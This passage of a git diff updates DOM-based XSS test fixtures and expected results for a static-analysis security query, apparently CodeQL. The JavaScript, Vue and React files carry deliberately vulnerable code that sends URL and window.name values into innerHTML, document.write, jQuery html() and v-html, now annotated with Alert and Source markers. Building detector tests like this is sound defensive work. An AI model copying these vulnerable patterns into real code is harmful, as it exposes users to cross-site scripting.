-            return <span dangerouslySetInnerHTML={{__html: this.state.stateTainted}}/>;
+            return <span dangerouslySetInnerHTML={{__html: this.state.stateTainted}}/>; // $ Alert
         }
     }
 
@@ -256,36 +240,36 @@ function react(){
 }
 
 function windowName() {
-    $(window.name); // NOT OK
-    $(name); // NOT OK
+    $(window.name); // $ Alert
+    $(name); // $ Alert
 }
 function windowNameAssigned() {
     for (name of ['a', 'b']) {
-        $(window.name); // NOT OK
-        $(name); // OK
+        $(window.name); // $ Alert
+        $(name);
     }
 }
 
 function jqueryLocation() {
-    $(location); // OK
-    $(window.location); // OK
-    $(document.location); // OK
+    $(location);
+    $(window.location);
+    $(document.location);
     var loc1 = location;
     var loc2 = window.location;
     var loc3 = document.location;
-    $(loc1); // OK
-    $(loc2); // OK
-    $(loc3); // OK
+    $(loc1);
+    $(loc2);
+    $(loc3);
 
-    $("body").append(location); // NOT OK
+    $("body").append(location); // $ Alert
 }
 
 
 function testCreateContextualFragment() {
-    var tainted = window.name;
+    var tainted = window.name; // $ Source
     var range = document.createRange();
     range.selectNode(document.getElementsByTagName("div").item(0));
-    var documentFragment = range.createContextualFragment(tainted); // NOT OK
+    var documentFragment = range.createContextualFragment(tainted); // $ Alert
     document.body.appendChild(documentFragment);
 }
 
@@ -293,74 +277,74 @@ function flowThroughPropertyNames() {
     var obj = {};
     obj[Math.random()] = window.name;
     for (var p in obj)
-      $(p); // OK
+      $(p);
 }
 
 function basicExceptions() {
 	try {
-		throw location;
+		throw location; // $ Source
 	} catch(e) {
-		$("body").append(e); // NOT OK
+		$("body").append(e); // $ Alert
 	}
 
 	try {
 		try {
-			throw location
+			throw location // $ Source
 		} finally {}
 	} catch(e) {
-		$("body").append(e); // NOT OK
+		$("body").append(e); // $ Alert
 	}
 }
 
 function handlebarsSafeString() {
-	return new Handlebars.SafeString(location); // NOT OK!
+	return new Handlebars.SafeString(location); // $ Alert
 }
 
 function test2() {
   var target = document.location.search
 
-  // OK
+
   $('myId').html(target.length)
 }
 
 function getTaintedUrl() {
-  return new URL(document.location);
+  return new URL(document.location); // $ Source
 }
 
 function URLPseudoProperties() {
   let params = getTaintedUrl().searchParams;
-  $('name').html(params.get('name')); // NOT OK
+  $('name').html(params.get('name')); // $ Alert
 
   let myUrl = getTaintedUrl();
-  $('name').html(myUrl.get('name')); // OK (.get is not defined on a URL)
+  $('name').html(myUrl.get('name')); // OK - .get is not defined on a URL
 }
 
 
 function hash() {
   function getUrl() {
-    return new URL(document.location);
+    return new URL(document.location); // $ Source
   }
-  $(getUrl().hash.substring(1)); // NOT OK
+  $(getUrl().hash.substring(1)); // $ Alert
 
 }
 
 function growl() {
-  var target = document.location.search
-  $.jGrowl(target); // NOT OK
+  var target = document.location.search // $ Source
+  $.jGrowl(target); // $ Alert
 }
 
 function thisNodes() {
 	var pluginName = "myFancyJQueryPlugin";
 	var myPlugin = function () {
-	    var target = document.location.search
-	    this.html(target); // NOT OK. (this is a jQuery object)
-		this.innerHTML = target // OK. (this is a jQuery object)
+	    var target = document.location.search // $ Source
+	    this.html(target); // $ Alert - this is a jQuery object
+		this.innerHTML = target // OK - this is a jQuery object
 
 		this.each(function (i, e) {
-			this.innerHTML = target; // NOT OK. (this is a DOM-node);
-			this.html(target); // OK. (this is a DOM-node);
+			this.innerHTML = target; // $ Alert - this is a DOM-node
+			this.html(target); // OK - this is a DOM-node
 
-			e.innerHTML = target; // NOT OK.
+			e.innerHTML = target; // $ Alert
 		});
 	}
 	$.fn[pluginName] = myPlugin;
@@ -368,81 +352,80 @@ function thisNodes() {
 }
 
 function test() {
-  var target = document.location.search
+  var target = document.location.search // $ Source
 
-  // NOT OK
-  $('myId').html(target)
+  $('myId').html(target) // $ Alert
 
   // OK - but only safe because contents are URI-encoded
   $('myid').html(document.location.href.split("?")[0]);
 }
 
 function test() {
-  var target = document.location.search
+  var target = document.location.search // $ Source
 
 
-  $('myId').html(target); // NOT OK
+  $('myId').html(target); // $ Alert
 
-  $('myId').html(target.taint); // NOT OK
+  $('myId').html(target.taint); // $ Alert
 
   target.taint2 = 2;
-  $('myId').html(target.taint2); // OK
+  $('myId').html(target.taint2);
 
-  target.taint3 = document.location.search;
-  $('myId').html(target.taint3); // NOT OK
+  target.taint3 = document.location.search; // $ Source
+  $('myId').html(target.taint3); // $ Alert
 
   target.sub.taint4 = 2
-  $('myId').html(target.sub.taint4); // OK
+  $('myId').html(target.sub.taint4);
 
-  $('myId').html(target.taint5); // NOT OK
+  $('myId').html(target.taint5); // $ Alert
   target.taint5 = "safe";
 
   target.taint6 = 2;
   if (random()) {return;}
-  $('myId').html(target.taint6); // OK
+  $('myId').html(target.taint6);
 
 
   if (random()) {target.taint7 = "safe";}
-  $('myId').html(target.taint7); // NOT OK
+  $('myId').html(target.taint7); // $ Alert
 
   target.taint8 = target.taint8;
-  $('myId').html(target.taint8); // NOT OK
+  $('myId').html(target.taint8); // $ Alert
 
   target.taint9 = (target.taint9 = "safe");
-  $('myId').html(target.taint9); // OK
+  $('myId').html(target.taint9);
 }
 
 function hash2() {
-  var payload = window.location.hash.substr(1);
-  document.write(payload); // NOT OK
+  var payload = window.location.hash.substr(1); // $ Source
+  document.write(payload); // $ Alert
 
-  let match = window.location.hash.match(/hello (\w+)/);
+  let match = window.location.hash.match(/hello (\w+)/); // $ Source
   if (match) {
-    document.write(match[1]); // NOT OK
+    document.write(match[1]); // $ Alert
   }
 
-  document.write(window.location.hash.split('#')[1]); // NOT OK
+  document.write(window.location.hash.split('#')[1]); // $ Alert
 }
 
 function nonGlobalSanitizer() {
-  var target = document.location.search
+  var target = document.location.search // $ Source
 
-  $("#foo").html(target.replace(/<metadata>[\s\S]*<\/metadata>/, '<metadata></metadata>')); // NOT OK
+  $("#foo").html(target.replace(/<metadata>[\s\S]*<\/metadata>/, '<metadata></metadata>')); // $ Alert
 
-  $("#foo").html(target.replace(/<|>/g, '')); // OK
+  $("#foo").html(target.replace(/<|>/g, ''));
 }
 
 function mootools(){
-	var source = document.location.search;
+	var source = document.location.search; // $ Source
 
-	new Element("div"); // OK
-	new Element("div", {text: source}); // OK
-	new Element("div", {html: source}); // NOT OK
-	new Element("div").set("html", source); // NOT OK
-	new Element("div").set({"html": source}); // NOT OK
-	new Element("div").setProperty("html", source); // NOT OK
-	new Element("div").setProperties({"html": source}); // NOT OK
-	new Element("div").appendHtml(source); // NOT OK
+	new Element("div");
+	new Element("div", {text: source});
+	new Element("div", {html: source}); // $ Alert
+	new Element("div").set("html", source); // $ Alert
+	new Element("div").set({"html": source}); // $ Alert
+	new Element("div").setProperty("html", source); // $ Alert
+	new Element("div").setProperties({"html": source}); // $ Alert
+	new Element("div").appendHtml(source); // $ Alert
 }
 
 
@@ -450,63 +433,68 @@ const Convert = require('ansi-to-html');
 const ansiToHtml = new Convert();
 
 function ansiToHTML() {
-  var source = document.location.search;
+  var source = document.location.search; // $ Source
 
-  $("#foo").html(source); // NOT OK
-  $("#foo").html(ansiToHtml.toHtml(source)); // NOT OK
+  $("#foo").html(source); // $ Alert
+  $("#foo").html(ansiToHtml.toHtml(source)); // $ Alert
 }
 
 function domMethods() {
-	var source = document.location.search;
+	var source = document.location.search; // $ Source
 
   let table = document.getElementById('mytable');
-  table.innerHTML = source; // NOT OK
+  table.innerHTML = source; // $ Alert
   let row = table.insertRow(-1);
-  row.innerHTML = source; // NOT OK
+  row.innerHTML = source; // $ Alert
   let cell = row.insertCell();
-  cell.innerHTML = source; // NOT OK
+  cell.innerHTML = source; // $ Alert
 }
 
 function urlStuff() {
-  var url = document.location.search.substr(1);
+  var url = document.location.search.substr(1); // $ Source
 
-  $("<a>", {href: url}).appendTo("body"); // NOT OK
-  $("#foo").attr("href", url); // NOT OK
-  $("#foo").attr({href: url}); // NOT OK
-  $("<img>", {src: url}).appendTo("body"); // NOT OK
-  $("<a>", {href: win.location.href}).appendTo("body"); // OK
+  $("<a>", {href: url}).appendTo("body"); // $ Alert
+  $("#foo").attr("href", url); // $ Alert
+  $("#foo").attr({href: url}); // $ Alert
+  $("<img>", {src: url}).appendTo("body"); // $ Alert
+  $("<a>", {href: win.location.href}).appendTo("body");
 
-  $("<img>", {src: "http://google.com/" + url}).appendTo("body"); // OK
+  $("<img>", {src: "http://google.com/" + url}).appendTo("body");
 
-  $("<img>", {src: ["http://google.com", url].join("/")}).appendTo("body"); // OK
+  $("<img>", {src: ["http://google.com", url].join("/")}).appendTo("body");
 
   if (url.startsWith("https://")) {
-    $("<img>", {src: url}).appendTo("body"); // OK
+    $("<img>", {src: url}).appendTo("body");
   } else {
-    $("<img>", {src: url}).appendTo("body"); // NOT OK
+    $("<img>", {src: url}).appendTo("body"); // $ Alert
   }
 
   window.open(location.hash.substr(1)); // OK - any JavaScript is executed in another context
 
-  navigation.navigate(location.hash.substr(1)); // NOT OK
+  navigation.navigate(location.hash.substr(1)); // $ Alert
 
   const myHistory = require('history').createBrowserHistory();
-  myHistory.push(location.hash.substr(1)); // NOT OK
+  myHistory.push(location.hash.substr(1)); // $ Alert
 }
 
 function Foo() {
   this.foo = document;
   var obj = {
     bar: function() {
-      this.foo.body.innerHTML = decodeURI(window.location.hash); // NOT OK
+      this.foo.body.innerHTML = decodeURI(window.location.hash); // $ Alert
     }
   };
   Object.assign(this, obj);
 }
 
 function nonGlobalSanitizer() {
-  var target = document.location.search
-  $("#foo").html(target.replace(new RegExp("<|>"), '')); // NOT OK
-  $("#foo").html(target.replace(new RegExp("<|>", unknownFlags()), '')); // OK -- most likely good. We don't know what the flags are.
-  $("#foo").html(target.replace(new RegExp("<|>", "g"), '')); // OK
+  var target = document.location.search // $ Source
+  $("#foo").html(target.replace(new RegExp("<|>"), '')); // $ Alert
+  $("#foo").html(target.replace(new RegExp("<|>", unknownFlags()), '')); // OK - most likely good. We don't know what the flags are.
+  $("#foo").html(target.replace(new RegExp("<|>", "g"), ''));
+}
+
+function FooBar() {
+  let source = window.name; // $ Source
+  $('myId').html(unescape(source)) // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tst3.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tst3.js
index a6d26e408872..eb1074a5a62f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tst3.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tst3.js
@@ -1,14 +1,14 @@
 var foo = document.getElementById("foo");
-var data = JSON.parse(decodeURIComponent(window.location.search.substr(1)));
+var data = JSON.parse(decodeURIComponent(window.location.search.substr(1))); // $ Source
 
-foo.setAttribute("src", data.src); // NOT OK
-foo.setAttribute("HREF", data.p);  // NOT OK
-foo.setAttribute("width", data.w); // OK
-foo.setAttribute("xlink:href", data.p) // NOT OK
+foo.setAttribute("src", data.src); // $ Alert
+foo.setAttribute("HREF", data.p);  // $ Alert
+foo.setAttribute("width", data.w);
+foo.setAttribute("xlink:href", data.p) // $ Alert
 
-foo.setAttributeNS('xlink', 'href', data.p); // NOT OK
-foo.setAttributeNS('foobar', 'href', data.p); // NOT OK
-foo.setAttributeNS('baz', 'width', data.w); // OK
+foo.setAttributeNS('xlink', 'href', data.p); // $ Alert
+foo.setAttributeNS('foobar', 'href', data.p); // $ Alert
+foo.setAttributeNS('baz', 'width', data.w);
 
 
 for (var p in data)
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/typeahead.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/typeahead.js
index d434ddf20e8e..a3694f3cf79e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/typeahead.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/typeahead.js
@@ -17,12 +17,12 @@
     {
       name: 'dashboards',
       source: function (query, cb) {
-        var target = document.location.search
+        var target = document.location.search // $ Source
         cb(target);
       },
       templates: {
         suggestion: function(val) {
-          return val; // NOT OK 
+          return val; // $ Alert
         }
       }
     }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/v-html.vue b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/v-html.vue
index 3964d4adad36..d75413a527b2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/v-html.vue
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/v-html.vue
@@ -1,9 +1,9 @@
 <template>
-    <p v-html="tainted"/>
+    <p v-html="tainted"/> <!-- $ Alert -->
 </template>
 <script>
   export default {
-    data: function() { return { tainted: document.location } }
+    data: function() { return { tainted: document.location } } // $ Source
   }
 </script>
 <style>
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/various-concat-obfuscations.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/various-concat-obfuscations.js
index f35e603228d6..866636f07c18 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/various-concat-obfuscations.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/various-concat-obfuscations.js
@@ -1,15 +1,15 @@
 function test() {
-	let tainted = document.location.search;
+	let tainted = document.location.search; // $ Source
 
-	$("<div>" + tainted + "</div>"); // NOT OK
-	$(`<div>${tainted}</div>`); // NOT OK
-	$("<div>".concat(tainted).concat("</div>")); // NOT OK
-	$(["<div>", tainted, "</div>"].join()); // NOT OK
+	$("<div>" + tainted + "</div>"); // $ Alert
+	$(`<div>${tainted}</div>`); // $ Alert
+	$("<div>".concat(tainted).concat("</div>")); // $ Alert
+	$(["<div>", tainted, "</div>"].join()); // $ Alert
 
-	$("<div id=\"" + tainted + "\"/>"); // NOT OK
-	$(`<div id="${tainted}"/>`); // NOT OK
-	$("<div id=\"".concat(tainted).concat("/>")); // NOT OK
-	$(["<div id=\"", tainted, "\"/>"].join()); // NOT OK
+	$("<div id=\"" + tainted + "\"/>"); // $ Alert
+	$(`<div id="${tainted}"/>`); // $ Alert
+	$("<div id=\"".concat(tainted).concat("/>")); // $ Alert
+	$(["<div id=\"", tainted, "\"/>"].join()); // $ Alert
 
 	function indirection1(attrs) {
 		return '<div align="' + (attrs.defaultattr || 'left') + '">' + content + '</div>';
@@ -17,6 +17,6 @@ function test() {
 	function indirection2(attrs) {
 		return '<div align="'.concat(attrs.defaultattr || 'left').concat('">'.concat(content)).concat('</div>');
 	}
-	$(indirection1(document.location.search.attrs)); // NOT OK
-	$(indirection2(document.location.search.attrs)); // NOT OK
+	$(indirection1(document.location.search.attrs)); // $ Alert
+	$(indirection2(document.location.search.attrs)); // $ Alert
 };
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/winjs.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/winjs.js
index 59f9866daac0..5d2b25bed092 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/winjs.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/winjs.js
@@ -1,5 +1,5 @@
 function test(elt) {
-  var tainted = document.location.search.substring(1);
-  WinJS.Utilities.setInnerHTMLUnsafe(elt, tainted);
-  WinJS.Utilities.setOuterHTMLUnsafe(elt, tainted);
+  var tainted = document.location.search.substring(1); // $ Source
+  WinJS.Utilities.setInnerHTMLUnsafe(elt, tainted); // $ Alert
+  WinJS.Utilities.setOuterHTMLUnsafe(elt, tainted); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/Xss.expected
index f83c9f40b315..afc30e246085 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/Xss.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/Xss.expected
@@ -1,6 +1,27 @@
 #select
+| interceptors.js:9:56:9:72 | userGeneratedHtml | interceptors.js:7:6:7:13 | response | interceptors.js:9:56:9:72 | userGeneratedHtml | Cross-site scripting vulnerability due to $@. | interceptors.js:7:6:7:13 | response | user-provided value |
 | test.jsx:27:29:27:32 | data | test.jsx:5:28:5:63 | fetch(" ... ntent") | test.jsx:27:29:27:32 | data | Cross-site scripting vulnerability due to $@. | test.jsx:5:28:5:63 | fetch(" ... ntent") | user-provided value |
+| test.ts:21:57:21:76 | response.description | test.ts:8:9:8:79 | this.#h ... query') | test.ts:21:57:21:76 | response.description | Cross-site scripting vulnerability due to $@. | test.ts:8:9:8:79 | this.#h ... query') | user-provided value |
+| test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | test.ts:8:9:8:79 | this.#h ... query') | test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | Cross-site scripting vulnerability due to $@. | test.ts:8:9:8:79 | this.#h ... query') | user-provided value |
+| test.vue:22:10:22:22 | v-html=data | test.vue:10:32:10:84 | fetch(" ... sts/1") | test.vue:22:10:22:22 | v-html=data | Cross-site scripting vulnerability due to $@. | test.vue:10:32:10:84 | fetch(" ... sts/1") | user-provided value |
+| testReactRelay.tsx:7:43:7:58 | commentData.text | testReactRelay.tsx:5:23:5:52 | useFrag ... entRef) | testReactRelay.tsx:7:43:7:58 | commentData.text | Cross-site scripting vulnerability due to $@. | testReactRelay.tsx:5:23:5:52 | useFrag ... entRef) | user-provided value |
+| testReactRelay.tsx:18:48:18:68 | data.co ... 0].text | testReactRelay.tsx:17:16:17:42 | useLazy ... ry, {}) | testReactRelay.tsx:18:48:18:68 | data.co ... 0].text | Cross-site scripting vulnerability due to $@. | testReactRelay.tsx:17:16:17:42 | useLazy ... ry, {}) | user-provided value |
+| testReactRelay.tsx:28:17:28:67 | usePrel ... r?.name | testReactRelay.tsx:28:17:28:56 | usePrel ... erence) | testReactRelay.tsx:28:17:28:67 | usePrel ... r?.name | Cross-site scripting vulnerability due to $@. | testReactRelay.tsx:28:17:28:56 | usePrel ... erence) | user-provided value |
+| testReactRelay.tsx:38:49:38:52 | data | testReactRelay.tsx:37:16:37:40 | useClie ... ry, {}) | testReactRelay.tsx:38:49:38:52 | data | Cross-site scripting vulnerability due to $@. | testReactRelay.tsx:37:16:37:40 | useClie ... ry, {}) | user-provided value |
+| testReactRelay.tsx:47:46:47:49 | data | testReactRelay.tsx:44:10:44:13 | data | testReactRelay.tsx:47:46:47:49 | data | Cross-site scripting vulnerability due to $@. | testReactRelay.tsx:44:10:44:13 | data | user-provided value |
+| testReactRelay.tsx:71:49:71:52 | data | testReactRelay.tsx:62:5:62:8 | data | testReactRelay.tsx:71:49:71:52 | data | Cross-site scripting vulnerability due to $@. | testReactRelay.tsx:62:5:62:8 | data | user-provided value |
+| testReactRelay.tsx:88:50:88:61 | feedbackText | testReactRelay.tsx:83:17:83:20 | data | testReactRelay.tsx:88:50:88:61 | feedbackText | Cross-site scripting vulnerability due to $@. | testReactRelay.tsx:83:17:83:20 | data | user-provided value |
+| testReactRelay.tsx:113:48:113:58 | fragmentRef | testReactRelay.tsx:100:14:100:16 | res | testReactRelay.tsx:113:48:113:58 | fragmentRef | Cross-site scripting vulnerability due to $@. | testReactRelay.tsx:100:14:100:16 | res | user-provided value |
+| testReactRelay.tsx:127:35:127:43 | data.user | testReactRelay.tsx:124:12:124:15 | data | testReactRelay.tsx:127:35:127:43 | data.user | Cross-site scripting vulnerability due to $@. | testReactRelay.tsx:124:12:124:15 | data | user-provided value |
+| testReactRelay.tsx:137:50:137:53 | data | testReactRelay.tsx:136:16:136:39 | readFra ... y, key) | testReactRelay.tsx:137:50:137:53 | data | Cross-site scripting vulnerability due to $@. | testReactRelay.tsx:136:16:136:39 | readFra ... y, key) | user-provided value |
+| testReactUseQueries.jsx:37:25:37:38 | repoQuery.data | testReactUseQueries.jsx:4:26:4:53 | fetch(' ... e.com') | testReactUseQueries.jsx:37:25:37:38 | repoQuery.data | Cross-site scripting vulnerability due to $@. | testReactUseQueries.jsx:4:26:4:53 | fetch(' ... e.com') | user-provided value |
+| testUseQueries2.vue:40:10:40:23 | v-html=data3 | testUseQueries2.vue:6:28:6:63 | fetch(" ... ntent") | testUseQueries2.vue:40:10:40:23 | v-html=data3 | Cross-site scripting vulnerability due to $@. | testUseQueries2.vue:6:28:6:63 | fetch(" ... ntent") | user-provided value |
+| testUseQueries2.vue:40:10:40:23 | v-html=data3 | testUseQueries2.vue:12:28:12:41 | fetch("${id}") | testUseQueries2.vue:40:10:40:23 | v-html=data3 | Cross-site scripting vulnerability due to $@. | testUseQueries2.vue:12:28:12:41 | fetch("${id}") | user-provided value |
+| testUseQueries.vue:25:10:25:23 | v-html=data2 | testUseQueries.vue:11:36:11:49 | fetch("${id}") | testUseQueries.vue:25:10:25:23 | v-html=data2 | Cross-site scripting vulnerability due to $@. | testUseQueries.vue:11:36:11:49 | fetch("${id}") | user-provided value |
 edges
+| interceptors.js:7:6:7:13 | response | interceptors.js:8:35:8:42 | response | provenance |  |
+| interceptors.js:8:15:8:47 | userGeneratedHtml | interceptors.js:9:56:9:72 | userGeneratedHtml | provenance |  |
+| interceptors.js:8:35:8:42 | response | interceptors.js:8:15:8:47 | userGeneratedHtml | provenance |  |
 | test.jsx:5:11:5:63 | response | test.jsx:6:24:6:31 | response | provenance |  |
 | test.jsx:5:22:5:63 | await f ... ntent") | test.jsx:5:11:5:63 | response | provenance |  |
 | test.jsx:5:28:5:63 | fetch(" ... ntent") | test.jsx:5:22:5:63 | await f ... ntent") | provenance |  |
@@ -8,9 +29,81 @@ edges
 | test.jsx:6:18:6:38 | await r ... .json() | test.jsx:6:11:6:38 | data | provenance |  |
 | test.jsx:6:24:6:31 | response | test.jsx:6:24:6:38 | response.json() | provenance |  |
 | test.jsx:6:24:6:38 | response.json() | test.jsx:6:18:6:38 | await r ... .json() | provenance |  |
-| test.jsx:7:12:7:15 | data | test.jsx:15:11:17:5 | data | provenance |  |
+| test.jsx:7:12:7:15 | data | test.jsx:15:13:15:16 | data | provenance |  |
 | test.jsx:15:11:17:5 | data | test.jsx:27:29:27:32 | data | provenance |  |
+| test.jsx:15:13:15:16 | data | test.jsx:15:11:17:5 | data | provenance |  |
+| test.ts:8:9:8:79 | this.#h ... query') | test.ts:20:28:20:35 | response | provenance |  |
+| test.ts:20:28:20:35 | response | test.ts:21:57:21:64 | response | provenance |  |
+| test.ts:20:28:20:35 | response | test.ts:24:43:24:50 | response | provenance |  |
+| test.ts:20:28:20:35 | response | test.ts:24:67:24:74 | response | provenance |  |
+| test.ts:21:57:21:64 | response | test.ts:21:57:21:76 | response.description | provenance |  |
+| test.ts:24:43:24:50 | response | test.ts:24:43:24:55 | response.name | provenance |  |
+| test.ts:24:43:24:55 | response.name | test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | provenance |  |
+| test.ts:24:67:24:74 | response | test.ts:24:67:24:84 | response.owner.bio | provenance |  |
+| test.ts:24:67:24:84 | response.owner.bio | test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | provenance |  |
+| test.vue:7:11:13:6 | data | test.vue:15:21:15:24 | data | provenance |  |
+| test.vue:7:45:7:48 | data | test.vue:7:11:13:6 | data | provenance |  |
+| test.vue:10:15:10:84 | response | test.vue:11:16:11:23 | response | provenance |  |
+| test.vue:10:26:10:84 | await f ... sts/1") | test.vue:10:15:10:84 | response | provenance |  |
+| test.vue:10:32:10:84 | fetch(" ... sts/1") | test.vue:10:26:10:84 | await f ... sts/1") | provenance |  |
+| test.vue:11:16:11:23 | response | test.vue:11:16:11:30 | response.json() | provenance |  |
+| test.vue:11:16:11:30 | response.json() | test.vue:7:45:7:48 | data | provenance |  |
+| test.vue:15:21:15:24 | data | test.vue:22:10:22:22 | v-html=data | provenance |  |
+| testReactRelay.tsx:5:9:5:52 | commentData | testReactRelay.tsx:7:43:7:53 | commentData | provenance |  |
+| testReactRelay.tsx:5:23:5:52 | useFrag ... entRef) | testReactRelay.tsx:5:9:5:52 | commentData | provenance |  |
+| testReactRelay.tsx:7:43:7:53 | commentData | testReactRelay.tsx:7:43:7:58 | commentData.text | provenance |  |
+| testReactRelay.tsx:17:9:17:42 | data | testReactRelay.tsx:18:48:18:51 | data | provenance |  |
+| testReactRelay.tsx:17:16:17:42 | useLazy ... ry, {}) | testReactRelay.tsx:17:9:17:42 | data | provenance |  |
+| testReactRelay.tsx:18:48:18:51 | data | testReactRelay.tsx:18:48:18:68 | data.co ... 0].text | provenance |  |
+| testReactRelay.tsx:28:17:28:56 | usePrel ... erence) | testReactRelay.tsx:28:17:28:67 | usePrel ... r?.name | provenance |  |
+| testReactRelay.tsx:37:9:37:40 | data | testReactRelay.tsx:38:49:38:52 | data | provenance |  |
+| testReactRelay.tsx:37:16:37:40 | useClie ... ry, {}) | testReactRelay.tsx:37:9:37:40 | data | provenance |  |
+| testReactRelay.tsx:44:9:44:70 | data | testReactRelay.tsx:47:46:47:49 | data | provenance |  |
+| testReactRelay.tsx:44:10:44:13 | data | testReactRelay.tsx:44:9:44:70 | data | provenance |  |
+| testReactRelay.tsx:61:9:70:38 | data | testReactRelay.tsx:71:49:71:52 | data | provenance |  |
+| testReactRelay.tsx:62:5:62:8 | data | testReactRelay.tsx:61:9:70:38 | data | provenance |  |
+| testReactRelay.tsx:80:9:80:54 | feedbackText | testReactRelay.tsx:88:50:88:61 | feedbackText | provenance |  |
+| testReactRelay.tsx:80:10:80:21 | feedbackText | testReactRelay.tsx:80:9:80:54 | feedbackText | provenance |  |
+| testReactRelay.tsx:83:17:83:20 | data | testReactRelay.tsx:84:23:84:26 | data | provenance |  |
+| testReactRelay.tsx:84:23:84:26 | data | testReactRelay.tsx:80:10:80:21 | feedbackText | provenance |  |
+| testReactRelay.tsx:95:9:95:50 | fragmentRef | testReactRelay.tsx:113:48:113:58 | fragmentRef | provenance |  |
+| testReactRelay.tsx:95:10:95:20 | fragmentRef | testReactRelay.tsx:95:9:95:50 | fragmentRef | provenance |  |
+| testReactRelay.tsx:100:14:100:16 | res | testReactRelay.tsx:101:22:101:24 | res | provenance |  |
+| testReactRelay.tsx:101:22:101:24 | res | testReactRelay.tsx:95:10:95:20 | fragmentRef | provenance |  |
+| testReactRelay.tsx:124:12:124:15 | data | testReactRelay.tsx:127:35:127:38 | data | provenance |  |
+| testReactRelay.tsx:127:35:127:38 | data | testReactRelay.tsx:127:35:127:43 | data.user | provenance |  |
+| testReactRelay.tsx:136:9:136:39 | data | testReactRelay.tsx:137:50:137:53 | data | provenance |  |
+| testReactRelay.tsx:136:16:136:39 | readFra ... y, key) | testReactRelay.tsx:136:9:136:39 | data | provenance |  |
+| testReactUseQueries.jsx:4:9:4:53 | response | testReactUseQueries.jsx:5:10:5:17 | response | provenance |  |
+| testReactUseQueries.jsx:4:20:4:53 | await f ... e.com') | testReactUseQueries.jsx:4:9:4:53 | response | provenance |  |
+| testReactUseQueries.jsx:4:26:4:53 | fetch(' ... e.com') | testReactUseQueries.jsx:4:20:4:53 | await f ... e.com') | provenance |  |
+| testReactUseQueries.jsx:5:10:5:17 | response | testReactUseQueries.jsx:5:10:5:24 | response.json() | provenance |  |
+| testReactUseQueries.jsx:5:10:5:24 | response.json() | testReactUseQueries.jsx:37:25:37:38 | repoQuery.data | provenance |  |
+| testUseQueries2.vue:6:11:6:63 | response | testUseQueries2.vue:7:24:7:31 | response | provenance |  |
+| testUseQueries2.vue:6:22:6:63 | await f ... ntent") | testUseQueries2.vue:6:11:6:63 | response | provenance |  |
+| testUseQueries2.vue:6:28:6:63 | fetch(" ... ntent") | testUseQueries2.vue:6:22:6:63 | await f ... ntent") | provenance |  |
+| testUseQueries2.vue:7:11:7:38 | data | testUseQueries2.vue:8:12:8:15 | data | provenance |  |
+| testUseQueries2.vue:7:18:7:38 | await r ... .json() | testUseQueries2.vue:7:11:7:38 | data | provenance |  |
+| testUseQueries2.vue:7:24:7:31 | response | testUseQueries2.vue:7:24:7:38 | response.json() | provenance |  |
+| testUseQueries2.vue:7:24:7:38 | response.json() | testUseQueries2.vue:7:18:7:38 | await r ... .json() | provenance |  |
+| testUseQueries2.vue:8:12:8:15 | data | testUseQueries2.vue:33:22:33:36 | results[0].data | provenance |  |
+| testUseQueries2.vue:12:11:12:41 | response | testUseQueries2.vue:13:12:13:19 | response | provenance |  |
+| testUseQueries2.vue:12:22:12:41 | await fetch("${id}") | testUseQueries2.vue:12:11:12:41 | response | provenance |  |
+| testUseQueries2.vue:12:28:12:41 | fetch("${id}") | testUseQueries2.vue:12:22:12:41 | await fetch("${id}") | provenance |  |
+| testUseQueries2.vue:13:12:13:19 | response | testUseQueries2.vue:13:12:13:26 | response.json() | provenance |  |
+| testUseQueries2.vue:13:12:13:26 | response.json() | testUseQueries2.vue:33:22:33:36 | results[0].data | provenance |  |
+| testUseQueries2.vue:33:22:33:36 | results[0].data | testUseQueries2.vue:40:10:40:23 | v-html=data3 | provenance |  |
+| testUseQueries.vue:11:19:11:49 | response | testUseQueries.vue:12:20:12:27 | response | provenance |  |
+| testUseQueries.vue:11:30:11:49 | await fetch("${id}") | testUseQueries.vue:11:19:11:49 | response | provenance |  |
+| testUseQueries.vue:11:36:11:49 | fetch("${id}") | testUseQueries.vue:11:30:11:49 | await fetch("${id}") | provenance |  |
+| testUseQueries.vue:12:20:12:27 | response | testUseQueries.vue:12:20:12:34 | response.json() | provenance |  |
+| testUseQueries.vue:12:20:12:34 | response.json() | testUseQueries.vue:18:22:18:36 | results[0].data | provenance |  |
+| testUseQueries.vue:18:22:18:36 | results[0].data | testUseQueries.vue:25:10:25:23 | v-html=data2 | provenance |  |
 nodes
+| interceptors.js:7:6:7:13 | response | semmle.label | response |
+| interceptors.js:8:15:8:47 | userGeneratedHtml | semmle.label | userGeneratedHtml |
+| interceptors.js:8:35:8:42 | response | semmle.label | response |
